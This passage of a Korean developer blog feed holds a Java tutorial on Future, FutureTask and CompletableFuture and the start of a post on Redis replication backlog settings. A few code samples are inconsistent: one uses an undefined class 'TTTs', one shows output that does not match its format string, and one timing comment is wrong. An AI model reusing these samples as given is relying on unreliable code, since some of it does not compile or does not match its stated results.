&lt;h4 data-ke-size=&quot;size20&quot;&gt;6-1. FutureTask 기본 사용 예제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FutureTask는 한번 실행되면 상태가 완료 or 취소로 결정되기 때문에 재 사용할 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 아래 예제를 섞는 경우 두번째 작업은 무시하게 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1754501208379&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// FutureTask 생성
FutureTask&amp;lt;String&amp;gt; futureTask = new FutureTask&amp;lt;&amp;gt;(() -&amp;gt; {
    System.out.println(&quot;작업 실행...&quot;);
    Thread.sleep(2000);
    return &quot;FutureTask 완료&quot;;
});

Thread thread = new Thread(futureTask);
thread.start();

try {
    String result = futureTask.get();
    System.out.println(result);
} catch (Exception e) {
    e.printStackTrace();
}

// -----------------------------------------

// FutureTask 생성
FutureTask&amp;lt;String&amp;gt; futureTask = new FutureTask&amp;lt;&amp;gt;(() -&amp;gt; {
    System.out.println(&quot;작업 실행...&quot;);
    Thread.sleep(2000);
    return &quot;FutureTask 완료&quot;;
});

ExecutorService executor = Executors.newSingleThreadExecutor();
executor.submit(futureTask);

try {
    String result = futureTask.get();
    System.out.println(result);
} catch (Exception e) {
    e.printStackTrace();
}

executor.shutdown();&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6-3. FutureTask 커스터마이징&lt;/h4&gt;
&lt;pre id=&quot;code_1754501929410&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class FutureTaskCustom&amp;lt;V&amp;gt; extends FutureTask&amp;lt;V&amp;gt; {

    private final String taskName;

    public FutureTaskCustom(Callable&amp;lt;V&amp;gt; callable, String taskName) {
        super(callable);
        this.taskName = taskName;
    }
    
    @Override
    // 작업이 완료되면 FutureTask가 호출하는 Callback 메소드 입니다.
    // FutureTask 내부에서 이미 정의되어있습니다.
    protected void done() {
        if (isCancelled()) {
            System.out.println(&quot;==&amp;gt; &quot; + taskName + &quot; [취소됨]&quot;);
        } else {
            try {
                get(); 
                System.out.println(&quot;==&amp;gt; &quot; + taskName + &quot; [성공적으로 완료됨]&quot;);
            } catch (Exception e) {
                System.out.println(&quot;==&amp;gt; &quot; + taskName + &quot; [예외 발생으로 완료됨]&quot;);
            }
        }
    }
}

// ---------------------

TTTs&amp;lt;Integer&amp;gt; task = new TTTs&amp;lt;&amp;gt;(() -&amp;gt; {
    Thread.sleep(1000);
    return 100;
}, &quot;계산 작업&quot;);
        
ExecutorService executor = Executors.newSingleThreadExecutor();
executor.execute(task);
        
try {
    Integer result = task.get();
    System.out.println(&quot;결과: &quot; + result);
} catch (Exception e) {
    e.printStackTrace();
}
        
executor.shutdown();

==&amp;gt; 계산 작업 [성공적으로 완료됨]
결과: 100&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 예외처리&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;7-1. ExecutionException 처리&lt;/h4&gt;
&lt;pre id=&quot;code_1754543704901&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();

Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    if (Math.random() &amp;gt; 0.5) {
        throw new RuntimeException(&quot;무작위 오류 발생!&quot;);
    }
	return &quot;성공!&quot;;
});

try {
    // 예외발생시 ExecutionException으로 감싸서 전달합니다.
    String result = future.get();
    System.out.println(&quot;결과: &quot; + result);
} catch (ExecutionException e) {
    // ExecutionException에서 실제 Exception을 가져옵니다.
    Throwable cause = e.getCause();
    // 실제 원본 메시지 추출합니다.
    System.out.println(&quot;작업 중 예외 발생: &quot; + cause.getMessage());
} catch (InterruptedException e) {
    System.out.println(&quot;대기 중 인터럽트 발생&quot;);
    // InterruptedException을 catch하면 현재 스레드의 인터럽트 상태는 false로 초기화됩니다.
    // 현재 메서드에서는 인터럽트를 완전히 처리할 수 없으므로 이 스레드를 호출한 상위 코드(호출한 곳)가 인터럽트 발생 사실을 알수 있도록 인터럽트 상태를 설정(true)해주는 것 입니다.
    Thread.currentThread().interrupt();
}

executor.shutdown();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상위 코드에서 Thread.currentThread().isInterrupted()를 통해 Interrupt 상태를 확인할 수 있으며 true라면 실제로 종료된 것입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;7-3. 예외 래핑&lt;/h4&gt;
&lt;pre id=&quot;code_1754544178666&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();

Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    try {
        Thread.sleep(1000);
        throw new IOException(&quot;파일을 찾을 수 없습니다&quot;);
    } catch (IOException e) {
        // IOException을 RuntimeException으로 감싸서 전달합니다.
        throw new RuntimeException(e);
    }
});

try {
    future.get();
} catch (ExecutionException e) {
    //  e.getCause()를 호출하면 작업 스레드가 던졌던 RuntimeException이 나옵니다.
    Throwable cause = e.getCause();
    if (cause instanceof RuntimeException &amp;amp;&amp;amp; cause.getCause() instanceof IOException) {
        // RuntimeException 안에 있던 진짜 원인(IOException)을 추출합니다.
        IOException originalException = (IOException) cause.getCause();
        System.out.println(&quot;IO 예외: &quot; + originalException.getMessage());
    }
} catch (InterruptedException e) {
    Thread.currentThread().interrupt();
}

executor.shutdown();&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8. 다양한 예제&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;8-1. Timeout 취소&lt;/h4&gt;
&lt;pre id=&quot;code_1754544340181&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();

Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    Thread.sleep(5000);
    return &quot;늦은 결과&quot;;
});

try {
    String result = future.get(3, TimeUnit.SECONDS);
    System.out.println(&quot;결과: &quot; + result);
} catch (TimeoutException e) {
    System.out.println(&quot;시간 초과! 작업을 취소합니다.&quot;);
    boolean cancelled = future.cancel(true);
    System.out.println(&quot;취소 성공: &quot; + cancelled);
} catch (Exception e) {
    e.printStackTrace();
}

executor.shutdown();&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;8-2. 취소&lt;/h4&gt;
&lt;pre id=&quot;code_1754544866226&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();

Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    for (int i = 0; i &amp;lt; 10; i++) {
    	// 인터럽트 상태를 직접 확인하는 부분
    	if (Thread.currentThread().isInterrupted()) {
            System.out.println(&quot;작업이 인터럽트되었습니다.&quot;);
            return &quot;인터럽트됨&quot;;
        }

        try {
            Thread.sleep(1000); // InterruptedException 발생 가능
        } catch (InterruptedException e) {
            System.out.println(&quot;슬립 중 인터럽트 감지&quot;);
            Thread.currentThread().interrupt(); // 인터럽트 상태 복원
            return &quot;인터럽트됨&quot;;
        }

        System.out.println(&quot;작업 진행 중... &quot; + i);
    }
    return &quot;완료됨&quot;;
});

Thread.sleep(2000);
// Interrupt를 발생시킵니다.
boolean cancelled = future.cancel(true);
System.out.println(&quot;취소 요청 결과: &quot; + cancelled);

try {
    String result = future.get();
    System.out.println(&quot;최종 결과: &quot; + result);
} catch (CancellationException e) {
    System.out.println(&quot;작업이 취소되었습니다.&quot;);
} catch (Exception e) {
    e.printStackTrace();
}

executor.shutdown();&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;9. 실제 예제&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;9-1. 웹크롤링 병렬 예제&lt;/h4&gt;
&lt;pre id=&quot;code_1754545303941&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class WebCrawlerExample {
    private final ExecutorService executor = Executors.newFixedThreadPool(5);

    public void crawlUrls(List&amp;lt;String&amp;gt; urls) {
        List&amp;lt;Future&amp;lt;CrawlResult&amp;gt;&amp;gt; futures = new ArrayList&amp;lt;&amp;gt;();

        // 모든 크롤링 작업을 스레드 풀에 전달합니다.
        // submit은 작업을 맡기자마자 바로 다음 코드를 실행하므로 모든 작업이 거의 동시에 시작됩니다.
        System.out.println(&quot;모든 URL에 대한 크롤링 작업을 동시에 제출합니다...&quot;);
        for (String url : urls) {
            Future&amp;lt;CrawlResult&amp;gt; future = executor.submit(() -&amp;gt; crawlSingleUrl(url));
            futures.add(future);
        }

        // 전달된 작업들의 결과를 순서대로 확인합니다.
        System.out.println(&quot;각 작업의 결과를 확인합니다 (최대 10초 대기)...&quot;);
        for (int i = 0; i &amp;lt; futures.size(); i++) {
            Future&amp;lt;CrawlResult&amp;gt; future = futures.get(i);
            String url = urls.get(i);
            try {
                // future.get()을 호출하되, 최대 10초까지만 결과를 기다립니다.
                CrawlResult result = future.get(10, TimeUnit.SECONDS);
                System.out.println(&quot;✅ URL &quot; + url + &quot; 크롤링 성공: &quot; + result);
            } catch (TimeoutException e) {
                // 10초를 초과하면 TimeoutException이 발생합니다.
                System.out.println(&quot;❌ URL &quot; + url + &quot; 작업 시간 초과 (타임아웃)&quot;);
                // 타임아웃된 작업에게 더 이상 실행할 필요가 없다고 인터럽트 신호를 보냅니다.
                future.cancel(true);
            } catch (Exception e) {
                // 그 외 작업 실행 중 발생한 예외 처리
                System.out.println(&quot;  URL &quot; + url + &quot; 처리 중 오류 발생: &quot; + e.getMessage());
            }
        }

        executor.shutdown();
    }

    // 단일 URL을 크롤링하는 메서드 (시뮬레이션)
    private CrawlResult crawlSingleUrl(String url) throws InterruptedException {
        System.out.println(&quot;... &quot; + url + &quot; 크롤링 시작&quot;);
        Thread.sleep((long) (Math.random() * 12000));
        return new CrawlResult(url, &quot;크롤링 완료&quot;);
    }

    static class CrawlResult {
        final String url;
        final String content;

        CrawlResult(String url, String content) {
            this.url = url;
            this.content = content;
        }

        @Override
        public String toString() {
            return &quot;CrawlResult{url='&quot; + url + &quot;', content='&quot; + content + &quot;'}&quot;;
        }
    }

    public static void main(String[] args) {
        WebCrawlerExample crawler = new WebCrawlerExample();
        List&amp;lt;String&amp;gt; urls = Arrays.asList(
            &quot;https://www.google.com&quot;,
            &quot;https://www.waug.com&quot;,
            &quot;https://www.whitehouse.com&quot;,
            &quot;https://www.naver.com&quot;,
            &quot;https://www.daum.net&quot;
        );

        crawler.crawlUrls(urls);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;10. Future 한계와 대안&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10-1. Future 한계점&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;블로킹 방식&lt;/b&gt;: get() 메서드는 블로킹 방식으로만 동작합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;콜백 부재&lt;/b&gt;: 완료 시 자동으로 실행될 콜백 메서드가 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조합 어려움&lt;/b&gt;: 여러 Future를 조합하기 복잡합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예외 처리&lt;/b&gt;: ExecutionException으로 래핑되어 처리가 복잡합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10-2. CompletableFuture(Java 8+)&lt;/h4&gt;
&lt;pre id=&quot;code_1754548238039&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CompletableFuture&amp;lt;String&amp;gt; future = CompletableFuture
        // 별도의 스레드에서 실행 (ForkJoinPool의 공용 스레드)
        .supplyAsync(() -&amp;gt; {
            System.out.println(&quot;  [1] supplyAsync: 'Hello'를 생성 중... &quot; + Thread.currentThread().getName());
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
            return &quot;Hello&quot;;
        })
        .thenApply(result -&amp;gt; {
            System.out.println(&quot;  [2] thenApply: '&quot; + result + &quot;'에 ' World'를 붙이는 중...&quot; + Thread.currentThread().getName());
            return result + &quot; World&quot;;
        })
        // 순서에 맞게 위에 실행 후 실행되는 체이닝 메소드 입니다.
        .thenCompose(result -&amp;gt; {
            System.out.println(&quot;  [3] thenCompose: '&quot; + result + &quot;'에 '!'를 붙이는 새 작업을 시작...&quot; + Thread.currentThread().getName());
            return CompletableFuture.supplyAsync(() -&amp;gt; result + &quot;!&quot;); // 결과: &quot;Hello World!&quot;
        })
        // 위에서 예외발생시 이 단계가 실행됩니다.
        .exceptionally(throwable -&amp;gt; {
            System.out.println(&quot;  [!] exceptionally: 오류 발생! &quot; + throwable.getMessage());
            return &quot;Error: &quot; + throwable.getMessage();
        });

// 논 블로킹 방식
future.thenAccept(result -&amp;gt; {
    System.out.println(&quot;\n  [4] thenAccept (콜백): 최종 결과가 나왔습니다! -&amp;gt; &quot; + result + &quot; :: &quot;  + Thread.currentThread().getName());
});

System.out.println(&quot;메인 스레드: 콜백을 등록했으니 다른 일을 계속할 수 있습니다.&quot; + Thread.currentThread().getName());

// 블로킹 방식
try {
    System.out.println(&quot;메인 스레드: 이제 get()으로 최종 결과가 올 때까지 기다립니다...&quot; + Thread.currentThread().getName());
    String finalResult = future.get();
    System.out.println(&quot;  [5] get() (블로킹): 최종 결과를 받았습니다. -&amp;gt; &quot; + finalResult + &quot; :: &quot; + Thread.currentThread().getName());
} catch (Exception e) {
    e.printStackTrace();
}


//   [1] supplyAsync: 'Hello'를 생성 중... ForkJoinPool.commonPool-worker-1
// 메인 스레드: 콜백을 등록했으니 다른 일을 계속할 수 있습니다.main
// 메인 스레드: 이제 get()으로 최종 결과가 올 때까지 기다립니다...main
//   [2] thenApply: 'Hello'에 ' World'를 붙이는 중...ForkJoinPool.commonPool-worker-1
//   [3] thenCompose: 'Hello World'에 '!'를 붙이는 새 작업을 시작...ForkJoinPool.commonPool-worker-1
//   [4] thenAccept (콜백): 최종 결과가 나왔습니다! -&amp;gt; Hello World! :: ForkJoinPool.commonPool-worker-2
//   [5] get() (블로킹): 최종 결과를 받았습니다. -&amp;gt; Hello World! :: main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10-3. 2개의 Future 조합&lt;/h4&gt;
&lt;pre id=&quot;code_1754549875919&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CompletableFuture&amp;lt;String&amp;gt; future1 = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        System.out.println(&quot;야식 조회 중... &quot; + Thread.currentThread().getName());
        try { Thread.sleep(1000); } catch (InterruptedException e) {}
        return &quot;닭발&quot;;
    });

CompletableFuture&amp;lt;Integer&amp;gt; future2 = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        System.out.println(&quot;가격 조회 중... &quot; + Thread.currentThread().getName());
        try { Thread.sleep(1500); } catch (InterruptedException e) {}
        return 900;
    });

// 두 Future의 결과를 조합
// 늦게 끝난 스레드가 해당 작업을 진행합니다.
CompletableFuture&amp;lt;String&amp;gt; combined = future1.thenCombine(future2, (food, price) -&amp;gt; {
    System.out.println(&quot;결과 조합 중... &quot; + Thread.currentThread().getName());
    return String.format(&quot;야식: %s, 가격: %d세&quot;, food, price);
});

try {
    String result = combined.get();
    System.out.println(&quot;최종 결과: &quot; + result);
} catch (Exception e) {
    e.printStackTrace();
}

// 야식 조회 중... ForkJoinPool.commonPool-worker-1
// 가격 조회 중... ForkJoinPool.commonPool-worker-2
// 결과 조합 중... ForkJoinPool.commonPool-worker-1
// 최종 결과: 이름: 닭발, 나이: 19000세&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10-4. 모든 Future 완료 대기&lt;/h4&gt;
&lt;pre id=&quot;code_1754550423469&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 병렬 처리
CompletableFuture&amp;lt;String&amp;gt; userService = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        System.out.println(&quot;사용자 서비스 호출...&quot;);
        try { Thread.sleep((long)(Math.random() * 2000)); } catch (InterruptedException e) {}
        return &quot;사용자 데이터&quot;;
    });

CompletableFuture&amp;lt;String&amp;gt; orderService = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        System.out.println(&quot;주문 서비스 호출...&quot;);
        try { Thread.sleep((long)(Math.random() * 2000)); } catch (InterruptedException e) {}
        return &quot;주문 데이터&quot;;
    });

CompletableFuture&amp;lt;String&amp;gt; paymentService = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        System.out.println(&quot;결제 서비스 호출...&quot;);
        try { Thread.sleep((long)(Math.random() * 2000)); } catch (InterruptedException e) {}
        return &quot;결제 데이터&quot;;
    });

// allOf는 전달된 모든 CompletableFuture가 완료되면 알려줍니다.
// 단, 이건 이벤트이기 때문에 void로 써야합니다.
CompletableFuture&amp;lt;Void&amp;gt; allTasks = CompletableFuture.allOf(
    userService, orderService, paymentService
);

// 3개 서비스가 모두 완료되면 이 블록이 실행됩니다.
allTasks.thenRun(() -&amp;gt; {
    try {
        // 이 시점에는 모든 Future가 완료되었기 때문에 get()을 호출해도 기다림 없이 즉시 결과를 가져올 수 있습니다.
        String user = userService.get();
        String order = orderService.get();
        String payment = paymentService.get();
        
        System.out.println(&quot;=== 모든 데이터 수집 완료 ===&quot;);
        System.out.println(&quot;- &quot; + user);
        System.out.println(&quot;- &quot; + order);
        System.out.println(&quot;- &quot; + payment);
    } catch (Exception e) {
        e.printStackTrace();
    }
});

// 가장 오래 걸리는 작업이 1.5초이므로 시간 내에 완료될 것입니다.
try {
    allTasks.get(5, TimeUnit.SECONDS);
    System.out.println(&quot;대시보드 로딩 완료!&quot;);
} catch (Exception e) {
    System.out.println(&quot;타임아웃 또는 오류 발생: &quot; + e.getMessage());
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10-5. 가장 빠른 Future 반환&lt;/h4&gt;
&lt;pre id=&quot;code_1754550694149&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CompletableFuture&amp;lt;String&amp;gt; server1 = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        try { Thread.sleep((long)(Math.random() * 3000)); } catch (InterruptedException e) {}
        return &quot;서버1 응답&quot;;
    });

CompletableFuture&amp;lt;String&amp;gt; server2 = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        try { Thread.sleep((long)(Math.random() * 3000)); } catch (InterruptedException e) {}
        return &quot;서버2 응답&quot;;
    });

CompletableFuture&amp;lt;String&amp;gt; server3 = CompletableFuture
    .supplyAsync(() -&amp;gt; {
        try { Thread.sleep((long)(Math.random() * 3000)); } catch (InterruptedException e) {}
        return &quot;서버3 응답&quot;;
    });

// allOf랑 다르게 무엇이든 하나가 완료되면 끝입니다.
CompletableFuture&amp;lt;Object&amp;gt; fastest = CompletableFuture.anyOf(server1, server2, server3);

try {
    Object result = fastest.get(4, TimeUnit.SECONDS);
    System.out.println(&quot;가장 빠른 응답: &quot; + result);
    
    // 나머지 작업들은 interrupt를 발생시켜 종료 합니다
    server1.cancel(true);
    server2.cancel(true);
    server3.cancel(true);
    
} catch (TimeoutException e) {
    System.out.println(&quot;모든 서버가 응답하지 않음&quot;);
} catch (Exception e) {
    e.printStackTrace();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;11. 비교&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 252px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;특성&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;Future&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;CompletableFuture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;실행 방식&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;블로킹 (get())&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;논블로킹 콜백 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;예외 처리&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;ExecutionException 래핑&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;exceptionally() 메서드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;콜백&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;thenAccept(), thenRun() 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;여러 Future 조합&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;수동 처리 필요&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 19px;&quot;&gt;allOf(), anyOf(), thenCombine()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 17px;&quot;&gt;성능&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 17px;&quot;&gt;스레드 블로킹&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 17px;&quot;&gt;논 블로킹 + ForkJoinPool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/JAVA</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/317</guid>
      <comments>https://jangto.tistory.com/entry/javautilconcurrentFuture#entry317comment</comments>
      <pubDate>Thu, 7 Aug 2025 18:07:40 +0900</pubDate>
    </item>
    <item>
      <title>Redis Replication 정리</title>
      <link>https://jangto.tistory.com/entry/Redis-Replication-%EC%A0%95%EB%A6%AC</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Redis Replication 이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버의 데이터를 Replica 서버에 복사하는 기능입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 안전성 : Master 서버가 죽어도 Replica 서버에 데이터가 남아있습니다.&lt;/li&gt;
&lt;li&gt;성능 향상 : 읽기 요청을 Replica로 분산하여 속도를 향상시킵니다.&lt;/li&gt;
&lt;li&gt;고가용성 : Master 서버가 죽더라도 Replica 서버가 Master로 승격해서 서비스를 이어갈 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Redis Replication 작동 방식&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Replication은 기본적으로 비동기 방식을 사용합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Master 서버는 Replica 서버가 데이터를 받았는지 확인하지 않고 자기 할 일을 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1. 정상 연결 상태&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버가 Client의 쓰기 요청 혹은 데이터 만료를 처리하면 이 처리 데이터에 대해 Stream을 사용하여 Replica 서버에게 전달합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2. 재 연결 상태&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 이유로 Master와 Replica 간의 연결이 끊기면 두 서버 간의 데이터 불일치가 발생할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 Replica 서버는 Master 서버와 재연결하면서 자신이 마지막으로 받은 오프셋(offset) 정보를 전달합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버는 오프셋 이후 부터 지금까지 데이터를 Replication BackLog 버퍼에 모두 담을 수 있는지 확인합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;담을 수 있는 경우 내용을 담아서 Replica 서버로 응답하여 부분 재동기화를 실행합니다.&lt;/li&gt;
&lt;li&gt;담을 수 없는 경우 RDB 스냅샷을 생성하여 Replica 서버로 응답 하여 전체 재동기화를 실행합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Master 서버의 RDB 저장 주기와 상관없이 현 시점으로 RDB 스냅샷을 만들게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Replication BackLog 란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버가 Replica 서버에게 전달하는 스트림을 일시적으로 저장하는 메모리 버퍼입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때 AOF 처럼 실제 데이터가 아닌 명령어만 저장됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-1. Replication BackLog 크기와 메모리 사용량&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Replication BackLog의 크기는 Master 서버의 메모리 사용량 비례해서 설정하는 것이 좋습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1753174169964&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;repl-backlog-size 10mb&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-2. Replication BackLog 설정 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis의 경우 Master 서버가 초기 연결되거나 복제 설정이 활성화 되는 경우 자동으로 크기를 설정하지만 수동으로도 설정할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Replication BackLog는 Master 서버만 설정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3-2-1. Replication BackLog 크기 확인&lt;/p&gt;
&lt;pre id=&quot;code_1753174822194&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CONFIG GET repl-backlog-size
# 결과 예시: &quot;repl-backlog-size&quot; &quot;1048576&quot; (1MB)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3-2-2. Replication BackLog&amp;nbsp; 크기 일시적 설정&lt;/p&gt;
&lt;pre id=&quot;code_1753174851112&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CONFIG SET repl-backlog-size 1048576  # 1MB로 설정&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3-2-3. Replication BackLog 크기 영구적 설정 (redis.conf)&lt;/p&gt;
&lt;pre id=&quot;code_1753174883740&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;repl-backlog-size 10mb&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 복제 방식&lt;/h2&gt;
